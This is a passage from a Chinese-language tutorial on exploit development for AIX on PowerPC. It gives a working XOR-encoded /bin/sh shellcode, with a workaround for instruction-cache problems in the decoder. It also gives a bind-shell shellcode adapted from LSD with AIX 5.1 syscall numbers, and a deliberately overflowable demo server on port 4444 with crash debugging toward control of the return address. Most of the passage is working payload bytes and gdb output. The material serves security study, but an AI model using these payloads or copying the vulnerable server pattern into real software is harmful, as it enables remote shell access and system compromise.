"\x40\x82\xff\xfd"      //  bnel    .main
"\x7c\x68\x02\xa6"      //  mflr    %r3
"\x38\x63\x01\x01"      //  addi    %r3, %r3, 0x101
"\x38\x63\xff\x26"      //  addi    %r3, %r3, -0xDA     # r3 point start of real shellcode-1
"\x39\x20\x01\x01"      //  li      %r9, 0x101
"\x39\x29\xff\x23"      //  addi    %r9, %r9, -0xDD     # shellcode size+1
"\x7c\xc9\x18\xae"      //  lbzx    %r6, %r9, %r3       # read a character
"\x68\xc7\xfe\xfe"      //  xori    %r7, %r6, 0xFEFE    # xor
"\x7c\xe9\x19\xae"      //  stbx    %r7, %r9, %r3       # store a character
"\x35\x29\xff\xff"      //  subic.  %r9, %r9, 1
"\x40\x82\xff\xf0"      //  bne     Loop                # loop

// real shellcode
"\xc6\x9d\xfe\xe3"      //  addi    %r3, %r3, 29
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
;

int main() {
  int jump[2]={(int)shellcode,0};
  ((*(void (*)())jump)());
}

前半部分是解码,r3指向真实shellcode前一个字节的地址,r9是计数器,是shellcode大小+1。这样从真实shellcode的最后一个字符开始做异或处理。

有一个很奇怪的问题,直接用gdb运行这个程序:

(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 :      addi    r3,r3,29
0x2000041c :      stw     r3,-8(r1)
0x20000420 :      stw     r5,-4(r1)
0x20000424 :      addi    r4,r1,-8
0x20000428 :      li      r2,5
0x2000042c :      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 :      sc
0x20000434 :      cmpdi   cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 : 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 :      0x3863ff26      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 :      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 :      0x3863001d      0x9061fff8      0x90a1fffc      0x3881fff8
0x20000428 :      0x38400005      0x4cc63342      0x44000002      0x2f62696e
0x20000438 :      0x2f736800      0x00000000      0x100005a0      0x00000000
(gdb)

可以看到程序在0x20000418这个地址出错了,可是这时候的指令是addi    r3,r3,29,不应该出错。查看内容,真实shellcode都已经正确解码了。

接下来看看一个灵异的事情:

(gdb) b *0x20000418
Breakpoint 1 at 0x20000418
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000418 in shellcode ()
(gdb) x/8i $pc
0x20000418 :      lfsu    f20,-285(r29)
0x2000041c :      stw     r3,-8(r1)
0x20000420 :      stw     r5,-4(r1)
0x20000424 :      addi    r4,r1,-8
0x20000428 :      li      r2,5
0x2000042c :      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
0x20000430 :      sc
0x20000434 :      cmpdi   cr6,r2,26990
(gdb) x/24x $pc-48
0x200003e8 : 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 :      0x3863ff26      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 :      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 :      0xc69dfee3      0x9061fff8      0x90a1fffc      0x3881fff8
0x20000428 :      0x38400005      0x4cc63342      0x44000002      0x2f62696e
0x20000438 :      0x2f736800      0x00000000      0x100005a0      0x00000000
(gdb)

在地址0x20000418先设一个断点,你会发现这个指令没有被解码!实在让人匪夷所思,和watercloud讨论,他认为可能是分支预测的问题,但 是我们在真实shellcode前加了很多nop指令也是出现这个问题。和alert7讨论过这个事情,他觉得有可能是指令缓存的问题,并且找到几年前一 些人的讨论:

http://seclists.org/lists/vuln-dev/2001/Nov/0325.html

看来老外早就讨论过这个事情了。Andersen, Thomas Bjoern (TBAndersen_at_kpmg.com)认为用一系列缓存同步指令(dcbst,sync,icbi,isync?)可以正确执行。

PowerPC 体系结构开发者指南指出自修改代码可以按照下面的序列执行代码修改用到的指令:

1. 存储修改的指令。
2. 执行 dcbst 指令,强制包含有修改过的指令的高速缓存行进行存储。
3. 执行 sync 指令,确保 dcbst 完成。
4. 执行 icbi 指令,使将要存放修改后指令的指令高速缓存行无效。
5. 执行 isync 指令,清除所有指令的指令管道,那些指令在高速缓存行被设为无效之前可能早已被取走了。
6. 现在可以运行修改后的指令了。当取这个指令时会发生指令高速缓存失败,结果就会从存储器中取得修改后的指令。

但是还有另外的问题。我的AIX机器的操作系统和CPU信息是这样的:

-bash-2.05b$ uname -a
AIX aix5 1 5 001381144C00
-bash-2.05b$ lsattr -El proc0
state     enable      Processor state False
type      PowerPC_604 Processor type  False
frequency 232649620   Processor Speed False

测试的结果很意外,我的AIX测试机并不支持一些缓存指令:

bash-2.05b$ cat testasm.s
.globl .main
.csect .text[PR]
.main:
        icbi    %r6, %r13
        dcbf    %r6, %r13

bash-2.05b$ gcc testasm.s
testasm.s: Assembler messages:
testasm.s:4: Error: Unrecognized opcode: `icbi'
testasm.s:5: Error: Unrecognized opcode: `dcbf'
bash-2.05b$ /usr/ccs/bin/as testasm.s
Assembler:
testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM.
testasm.s: line 4: 1252-142 Syntax error.
testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM.
testasm.s: line 5: 1252-142 Syntax error.

不管是GNU的as还是操作系统自己带的as都不能识别这几个关于缓存的指令。于是想着用sync和isync是不是能够解决这个问题:

-bash-2.05b$ cat test.c
char shellcode[] =
// decoder
"\x7c\xa5\x2a\x79"      //  xor.    %r5, %r5, %r5
"\x40\x82\xff\xfd"      //  bnel    .main
"\x7c\x68\x02\xa6"      //  mflr    %r3
"\x38\x63\x01\x01"      //  addi    %r3, %r3, 0x101
"\x38\x63\xff\x2e"      //  addi    %r3, %r3, -0xDA     # r3 point start of real shellcode-1
"\x39\x20\x01\x01"      //  li      %r9, 0x101
"\x39\x29\xff\x23"      //  addi    %r9, %r9, -0xDD     # shellcode size+1
"\x7c\xc9\x18\xae"      //  lbzx    %r6, %r9, %r3       # read a character
"\x68\xc7\xfe\xfe"      //  xori    %r7, %r6, 0xFEFE    # xor
"\x7c\xe9\x19\xae"      //  stbx    %r7, %r9, %r3       # store a character
"\x35\x29\xff\xff"      //  subic.  %r9, %r9, 1
"\x40\x82\xff\xf0"      //  bne     Loop                # loop

"\x7c\x00\x04\xac"      //  sync
"\x4c\x00\x01\x2c"      //  isync

// real shellcode
"\xc6\x9d\xfe\xe3"      //  addi    %r3, %r3, 29
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
;

int main() {
  int jump[2]={(int)shellcode,0};
  ((*(void (*)())jump)());
}

用gdb调试:

(gdb) r
Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault.
0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 :      sync
0x2000041c :      isync
0x20000420 :      addi    r3,r3,29
0x20000424 :      stw     r3,-8(r1)
0x20000428 :      stw     r5,-4(r1)
0x2000042c :      addi    r4,r1,-8
0x20000430 :      li      r2,5
0x20000434 :      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 : 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 :      0x3863ff2e      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 :      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 :      0x7c0004ac      0x4c00012c      0x3863001d      0x9061fff8
0x20000428 :      0x90a1fffc      0x3881fff8      0x38400005      0x4cc63342
0x20000438 :      0x44000002      0x2f62696e      0x2f736800      0x00000000

程序在0x20000420这个地址崩溃了,这个地方的指令是"addi    r3,r3,29",正好是真正的shellcode,解码正确,但执行错误。

在0x20000420这个地址下个断点再试:

(gdb) b *0x20000420
Breakpoint 1 at 0x20000420
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x20000420 in shellcode ()
(gdb) x/8i $pc-8
0x20000418 :      sync
0x2000041c :      isync
0x20000420 :      lfsu    f20,-285(r29)
0x20000424 :      stw     r3,-8(r1)
0x20000428 :      stw     r5,-4(r1)
0x2000042c :      addi    r4,r1,-8
0x20000430 :      li      r2,5
0x20000434 :      crorc   4*cr1+eq,4*cr1+eq,4*cr1+eq
(gdb) x/24x $pc-56
0x200003e8 : 0x7ca52a79      0x4082fffd      0x7c6802a6      0x38630101
0x200003f8 :      0x3863ff2e      0x39200101      0x3929ff23      0x7cc918ae
0x20000408 :      0x68c7fefe      0x7ce919ae      0x3529ffff      0x4082fff0
0x20000418 :      0x7c0004ac      0x4c00012c      0xc69dfee3      0x9061fff8
0x20000428 :      0x90a1fffc      0x3881fff8      0x38400005      0x4cc63342
0x20000438 :      0x44000002      0x2f62696e      0x2f736800      0x00000000
(gdb)

这时可以发现0x20000420这个地址的指令并没有被解码,sync和isync的操作没有效果。

在isync指令的地址下个断点:

(gdb) b *0x2000041c
Breakpoint 1 at 0x2000041c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/test

Breakpoint 1, 0x2000041c in shellcode ()
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x10000100 in ?? ()
(gdb) c
Continuing.
$ exit

Program exited normally.

这样执行就一切正常。

我还尝试了很多办法,比如把解码后的shellcode写到离当前地址很远的地方,然后把那个地址保存到lr寄存器,再用blr跳过去执行,种种努力都失败了。

0dd上一个叫phil的朋友提到他在ARM芯片上的一些经验,他说可以通过运行系统调用来刷新I-cache的指令。watercloud也提到这种实现方法。经过测试,这种方法果然可行:

char shellcode[] =
// decoder
"\x7d\xce\x72\x79"      //  xor.    %r14, %r14, %r14
"\x40\x82\xff\xfd"      //  bnel    .main
"\x7d\xe8\x02\xa6"      //  mflr    %r15
"\x39\xef\x01\x01"      //  addi    %r15, %r15, 0x101
"\x39\xef\xff\x37"      //  addi    %r15, %r15, -0xC9   # r15 point to start of real shellcode
"\x3a\x20\x01\x01"      //  li      %r17, 0x101
"\x38\x51\xff\xe1"      //  addi    %r2, %r17, -0x1F    # r2=0xe2 syscall number of sync.
"\x3a\x31\xff\x2f"      //  addi    %r17, %r17, -0xD1   # shellcode size

"\x7e\x51\x78\xae"      //  lbzx    %r18, %r17, %r15    # read a character
"\x6a\x53\xfe\xfe"      //  xori    %r19, %r18, 0xFEFE  # xor
"\x7e\x71\x79\xae"      //  stbx    %r19, %r17, %r15    # store a character
"\x36\x31\xff\xff"      //  subic.  %r17, %r17, 1
"\x40\x80\xff\xf0"      //  bne     Loop                # loop

"\x4c\xc6\x33\x42"      //  crorc   %cr6, %cr6, %cr6
"\x7d\xe8\x03\xa6"      //  mtlr    %r15                # lr=real shellcode address
"\x44\xff\xff\x02"      //  svca    0

// real shellcode
"\xc6\x91\xfe\xde"      //  addi    %r3, %r15, 32
"\x6e\x9f\x01\x06"      //  stw     %r3, -8(%r1)
"\x83\x3b\x8d\x86"      //  mr      %r5, %r14
"\x6e\x5f\x01\x02"      //  stw     %r5, -4(%r1)
"\xc6\x7f\x01\x06"      //  subi    %r4, %r1, 8
"\xc6\xbe\xfe\xfb"      //  li      %r2, 5
"\xb2\x38\xcd\xbc"      //  crorc   %cr6, %cr6, %cr6
"\xba\xfe\xfe\xfc"      //  svca    0
"\xd1\x9c\x97\x90"      //  .byte   '/', 'b', 'i', 'n',
"\xd1\x8d\x96\xfe"      //          '/', 's', 'h', 0x0
;

int main() {
  int jump[2]={(int)shellcode,0};
  ((*(void (*)())jump)());
}

-bash-2.05b$ ./test_3
$ id
uid=202(san) gid=1(staff)
$ exit
-bash-2.05b$

只需在真实的shellcode前面插入一个系统调用(这里使用的是sync的调用号,用其它也可以),系统调用执行完以后会跳到lr寄存器包含的地址执行,这时执行的指令不是缓存的。

七、远程溢出调试

lsd在UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes这份文档里提供了AIX的一系列远程shellcode,由于AIX的系统调用中断号在各系统版本里都是不同的,所以我们需要把它找出 来。

一个简单的监听端口的shellcode用C语言表示大致如下:

-bash-2.05b$ cat bind.c
#include
#include
#include
#include

int soc,cli,i;
struct sockaddr_in serv_addr;

int main()
{
    serv_addr.sin_family=2;
    serv_addr.sin_addr.s_addr=0;
    serv_addr.sin_port=0x1234;
    soc=socket(2,1,0);
    bind(soc,(struct sockaddr *)&serv_addr,0x10);
    listen(soc,5);
    cli=accept(soc,0,0);

    for (i=2;i>=0;i--) {
        close(i);
        kfcntl(cli, 0, i);
    }

    execve("/bin/sh", 0, 0);
}

AIX的dup2函数实际上最终调用的还是kfcntl系统调用。编译后,用gdb调试:

-bash-2.05b$ gdb bind
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) disas main
Dump of assembler code for function main:
0x10000534 :    mflr    r0
0x10000538 :    stw     r31,-4(r1)
0x1000053c :    stw     r0,8(r1)
0x10000540 :   stwu    r1,-72(r1)
0x10000544 :   mr      r31,r1
0x10000548 :   lwz     r9,108(r2)
0x1000054c :   li      r0,2
0x10000550 :   stb     r0,1(r9)
0x10000554 :   lwz     r9,108(r2)
0x10000558 :   li      r0,0
0x1000055c :   stw     r0,4(r9)
0x10000560 :   lwz     r9,108(r2)
0x10000564 :   li      r0,4660
0x10000568 :   sth     r0,2(r9)
0x1000056c :   li      r3,2
0x10000570 :   li      r4,1
0x10000574 :   li      r5,0
0x10000578 :   bl      0x1000734c
0x1000057c :   lwz     r2,20(r1)
0x10000580 :   mr      r0,r3
0x10000584 :   lwz     r9,112(r2)
0x10000588 :   stw     r0,0(r9)
0x1000058c :   lwz     r9,112(r2)
0x10000590 :   lwz     r3,0(r9)
0x10000594 :   lwz     r4,108(r2)
0x10000598 :  li      r5,16
0x1000059c :  bl      0x10007448
0x100005a0 :  lwz     r2,20(r1)
0x100005a4 :  lwz     r9,112(r2)
0x100005a8 :  lwz     r3,0(r9)
0x100005ac :  li      r4,5
0x100005b0 :  bl      0x1000746c
0x100005b4 :  lwz     r2,20(r1)
0x100005b8 :  lwz     r9,112(r2)
0x100005bc :  lwz     r3,0(r9)
0x100005c0 :  li      r4,0
0x100005c4 :  li      r5,0
0x100005c8 :  bl      0x10007394
0x100005cc :  lwz     r2,20(r1)
0x100005d0 :  mr      r0,r3
0x100005d4 :  lwz     r9,116(r2)
0x100005d8 :  stw     r0,0(r9)
0x100005dc :  lwz     r9,120(r2)
0x100005e0 :  li      r0,2
0x100005e4 :  stw     r0,0(r9)
0x100005e8 :  lwz     r9,120(r2)
0x100005ec :  lwz     r0,0(r9)
0x100005f0 :  cmpwi   r0,0
0x100005f4 :  bge-    0x100005fc
0x100005f8 :  b       0x10000640
0x100005fc :  lwz     r9,120(r2)
0x10000600 :  lwz     r3,0(r9)
0x10000604 :  bl      0x100074b4
0x10000608 :  lwz     r2,20(r1)
0x1000060c :  lwz     r9,116(r2)
0x10000610 :  lwz     r11,120(r2)
0x10000614 :  lwz     r3,0(r9)
0x10000618 :  li      r4,0
0x1000061c :  lwz     r5,0(r11)
0x10000620 :  bl      0x100074d8
0x10000624 :  lwz     r2,20(r1)
0x10000628 :  lwz     r11,120(r2)
0x1000062c :  lwz     r9,120(r2)
0x10000630 :  lwz     r9,0(r9)
0x10000634 :  addi    r0,r9,-1
0x10000638 :  stw     r0,0(r11)
0x1000063c :  b       0x100005e8
0x10000640 :  lwz     r3,124(r2)
0x10000644 :  li      r4,0
0x10000648 :  li      r5,0
0x1000064c :  bl      0x10007328
0x10000650 :  lwz     r2,20(r1)
0x10000654 :  mr      r3,r0
0x10000658 :  lwz     r1,0(r1)
0x1000065c :  lwz     r0,8(r1)
0x10000660 :  mtlr    r0
0x10000664 :  lwz     r31,-4(r1)
0x10000668 :  blr
0x1000066c :  .long 0x0
0x10000670 :  .long 0x2061
0x10000674 :  lwz     r0,1(r1)
0x10000678 :  .long 0x138
0x1000067c :  .long 0x46d61
0x10000680 :  xori    r14,r11,7936
End of assembler dump.

gdb能够显示各函数的入口地址,我们在这些入口地址分别下断点:

(gdb) b *0x1000734c
Breakpoint 1 at 0x1000734c
(gdb) b *0x10007448
Breakpoint 2 at 0x10007448
(gdb) b *0x1000746c
Breakpoint 3 at 0x1000746c
(gdb) b *0x10007394
Breakpoint 4 at 0x10007394
(gdb) b *0x100074b4
Breakpoint 5 at 0x100074b4
(gdb) b *0x100074d8
Breakpoint 6 at 0x100074d8
(gdb) b *0x10007328
Breakpoint 7 at 0x10007328

下完断点后运行,gdb会在各函数里停下,这时我们就可以查看它的系统调用号。如果是包裹函数,一直用si单步执行下去,就能看到该函数最终实际调用的系统中断。

(gdb) r
Starting program: /home/san/bind

Breakpoint 1, 0x1000734c in socket ()
(gdb) x/8i $pc
0x1000734c :    lwz     r12,4(r2)
0x10007350 :  stw     r2,20(r1)
0x10007354 :  lwz     r0,0(r12)
0x10007358 : lwz     r2,4(r12)
0x1000735c : mtctr   r0
0x10007360 : bctr
0x10007364 : .long 0x0
0x10007368 : .long 0xc8000
(gdb) si
0x10007350 in socket ()
(gdb)
0x10007354 in socket ()
(gdb)
0x10007358 in socket ()
(gdb)
0x1000735c in socket ()
(gdb) p/x $r2
$1 = 0x8d
(gdb) c
Continuing.

Breakpoint 2, 0x10007448 in bind ()
(gdb) x/8i $pc
0x10007448 :      lwz     r12,32(r2)
0x1000744c :    stw     r2,20(r1)
0x10007450 :    lwz     r0,0(r12)
0x10007454 :   lwz     r2,4(r12)
0x10007458 :   mtctr   r0
0x1000745c :   bctr
0x10007460 :   .long 0x0
0x10007464 :   .long 0xc8000
(gdb) si
0x1000744c in bind ()
(gdb)
0x10007450 in bind ()
(gdb)
0x10007454 in bind ()
(gdb)
0x10007458 in bind ()
(gdb) p/x $r2
$2 = 0x8c
(gdb) c
Continuing.

Breakpoint 3, 0x1000746c in listen ()
(gdb) x/8i $pc
0x1000746c :    lwz     r12,36(r2)
0x10007470 :  stw     r2,20(r1)
0x10007474 :  lwz     r0,0(r12)
0x10007478 : lwz     r2,4(r12)
0x1000747c : mtctr   r0
0x10007480 : bctr
0x10007484 : .long 0x0
0x10007488 : .long 0xc8000
(gdb) si
0x10007470 in listen ()
(gdb)
0x10007474 in listen ()
(gdb)
0x10007478 in listen ()
(gdb)
0x1000747c in listen ()
(gdb) p/x $r2
$5 = 0x8b
(gdb) c
Continuing.

Breakpoint 4, 0x10007394 in naccept ()
(gdb) x/8i $pc
0x10007394 :   lwz     r12,12(r2)
0x10007398 : stw     r2,20(r1)
0x1000739c : lwz     r0,0(r12)
0x100073a0 :        lwz     r2,4(r12)
0x100073a4 :        mtctr   r0
0x100073a8 :        bctr
0x100073ac :        .long 0x0
0x100073b0 :        .long 0xc8000
(gdb) si
0x10007398 in naccept ()
(gdb)
0x1000739c in naccept ()
(gdb)
0x100073a0 in naccept ()
(gdb)
0x100073a4 in naccept ()
(gdb) p/x $r2
$6 = 0x8a
(gdb) c
Continuing.

Breakpoint 5, 0x100074b4 in close ()
(gdb) x/8i $pc
0x100074b4 :     lwz     r12,44(r2)
0x100074b8 :   stw     r2,20(r1)
0x100074bc :   lwz     r0,0(r12)
0x100074c0 :  lwz     r2,4(r12)
0x100074c4 :  mtctr   r0
0x100074c8 :  bctr
0x100074cc :  .long 0x0
0x100074d0 :  .long 0xc8000
(gdb) si
0x100074b8 in close ()
(gdb)
0x100074bc in close ()
(gdb)
0x100074c0 in close ()
(gdb)
0x100074c4 in close ()
(gdb) p/x $r2
$7 = 0xa0
(gdb) c
Continuing.

Breakpoint 6, 0x100074d8 in kfcntl ()
(gdb) x/8i $pc
0x100074d8 :    lwz     r12,48(r2)
0x100074dc :  stw     r2,20(r1)
0x100074e0 :  lwz     r0,0(r12)
0x100074e4 : lwz     r2,4(r12)
0x100074e8 : mtctr   r0
0x100074ec : bctr
0x100074f0 : .long 0x0
0x100074f4 : .long 0xc8000
(gdb) si
0x100074dc in kfcntl ()
(gdb)
0x100074e0 in kfcntl ()
(gdb)
0x100074e4 in kfcntl ()
(gdb)
0x100074e8 in kfcntl ()
(gdb) p/x $r2
$1 = 0x142

(gdb) c
Continuing.

Breakpoint 7, 0x10007328 in execve ()
(gdb) x/8i $pc
0x10007328 :    lwz     r12,0(r2)
0x1000732c :  stw     r2,20(r1)
0x10007330 :  lwz     r0,0(r12)
0x10007334 : lwz     r2,4(r12)
0x10007338 : mtctr   r0
0x1000733c : bctr
0x10007340 : .long 0x0
0x10007344 : .long 0xc8000
(gdb) si
0x1000732c in execve ()
(gdb)
0x10007330 in execve ()
(gdb)
0x10007334 in execve ()
(gdb)
0x10007338 in execve ()
(gdb) p/x $r2
$9 = 0x5

好了,现在我们找出在AIX 5.1下我们需要系统调用中断号的值:

socket=0x8d
bind=0x8c
listen=0x8b
naccept=0x8a
close=0xa0
kfcntl=0x142
execve=0x05

lsd已经把功能都实现了,我们只需做少许的修改:

char lsd[] =
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel              */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xc0\x01\xff"     /* lil     r22,0x1ff              */
    "\x3a\xf6\xfe\x2d"     /* cal     r23,-467(r22)          */
    "\x7e\xb5\xba\x14"     /* cax     r21,r21,r23            */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */

    "\x05\x82\x53\xa0"     /* syscall numbers                */
    "\x87\xa0\x01\x42"     /* execve=0x05 close=0xa0         */
    "\x8d\x8c\x8b\x8a"     /* socket=0x8d bind=0x8c          */
                           /* listen=0x8b naccept=0x8a       */
                           /* kfcntl=0x142                   */

    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca    0x0                    */
    "\x3a\xb5\xff\xf8"     /* cal     r21,-8(r21)            */

    "\x2c\x74\x12\x34"     /* cmpi    cr0,r20,0x1234         */
    "\x41\x82\xff\xfd"     /* beql              */
    "\x7f\x08\x02\xa6"     /* mflr    r24                    */
    "\x92\x98\xff\xfc"     /* st      r20,-4(r24)            */
    "\x38\x76\xfe\x03"     /* cal     r3,-509(r22)           */
    "\x38\x96\xfe\x02"     /* cal     r4,-510(r22)           */
    "\x98\x78\xff\xf9"     /* stb     r3,-7(r24)             */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xfc"     /* lbz     r2,-4(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x38\x98\xff\xf8"     /* cal     r4,-8(r24)             */
    "\x38\xb6\xfe\x11"     /* cal     r5,-495(r22)           */
    "\x88\x55\xff\xfd"     /* lbz     r2,-3(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x38\x96\xfe\x06"     /* cal     r4,-506(r22)           */
    "\x88\x55\xff\xfe"     /* lbz     r2,-2(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xff"     /* lbz     r2,-1(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x3b\x56\xfe\x03"     /* cal     r26,-509(r22)          */
    "\x7f\x43\xd3\x78"     /* mr      r3,r26                 */
    "\x88\x55\xff\xf7"     /* lbz     r2,-9(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7f\x45\xd3\x78"     /* mr      r5,r26                 */
    "\xa0\x55\xff\xfa"     /* lhz     r2,-6(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x37\x5a\xff\xff"     /* ai.     r26,r26,-1             */
    "\x40\x80\xff\xd4"     /* bge           */

    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel                */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x55\xff\xf4"     /* lbz     r2,-12(r21)            */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */
    "/bin/sh"
;    

int main() {
  int jump[2]={(int)lsd,0};
  ((*(void (*)())jump)());
}

有了可用的shellcode,那么可以尝试一下远程溢出的示例了:

/* server.c -  overflow demo
*
*  2004.06.16
*  san@nsfocus.com
*/

#include
#include
#include
#include

char Buff[1024];
void overflow(char * s,int size)
{
    char s1[50];
    printf("receive %d bytes",size);
    s[size]=0;
    //strcpy(s1,s);
    memcpy(s1, s, size);
    sync(); // 溢出后必须有一些操作产生系统调用,否则直接返回后又会碰到I-cache的问题,shellcode是无法执行的
}

int main(int argc, char *argv[])
{
    int s, c, ret, lBytesRead;
    struct sockaddr_in srv;

    s = socket(AF_INET, SOCK_STREAM, 0);
    srv.sin_addr.s_addr = INADDR_ANY;
    srv.sin_port = htons(4444);
    srv.sin_family = AF_INET;

    bind(s, &srv, sizeof(srv));
    listen(s, 3);

    c = accept(s,NULL,NULL);

    while(1)
    {
        lBytesRead = recv(c, Buff, 1024, 0);
        if(lBytesRead<=0)    break;

        printf("fd = %x recv %d bytes\n", c, lBytesRead);
        overflow(Buff, lBytesRead);  

        ret=send(c,Buff,lBytesRead,0);
        if(ret<=0)    break;
    }

    close(s);
    close(c);
}

远程溢出的调试和本地没有什么两样,关键是找到溢出点,远程溢出可能需要构造古怪的数据包来溢出服务程序。返回地址和需要覆盖的缓冲区大小可以用gdb调试出来,在一个终端用gdb加载server或者attach也行:

-bash-2.05b$ gdb server
GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...
(gdb) r
Starting program: /home/san/server

客户端连接服务,并且发送数据来让服务端崩溃:

-bash-2.05b$ telnet localhost 4444
Trying...
Connected to localhost.
Escape character is '^]'.
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD

服务端:

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/8x $r1
0x2ff22b58:     0x41424344      0x41424344      0x41424344      0x0d0a6648
0x2ff22b68:     0x00000000      0x20001000      0x20001110      0x0000005e

只需把崩溃时r1+8的内容覆盖即可,这就是函数返回后lr寄存器的值,程序会跳入这个地址,这在前面第四节学习AIX PowerPC的溢出技术时已经提到过。这时寄存器的值:

(gdb) i reg
r0             0x41424344       1094861636
r1             0x2ff22b58       804399960
r2             0x20001000       536875008
r3             0x1757180        24473984
r4             0x0      0
r5             0x2ff22ffc       804401148
r6             0xd032   53298
r7             0x0      0
r8             0x60000000       1610612736
r9             0x600045f0       1610630640
r10            0x0      0
r11            0x60003bca       1610628042
r12            0x2ff3b400       804500480
r13            0xdeadbeef       -559038737
r14            0x1      1
r15            0x2ff22c08       804400136
r16            0x2ff22c10       804400144
r17            0x0      0
r18            0xdeadbeef       -559038737
r19            0xdeadbeef       -559038737
r20            0xdeadbeef       -559038737
r21            0xdeadbeef       -559038737
r22            0xdeadbeef       -559038737
r23            0xdeadbeef       -559038737
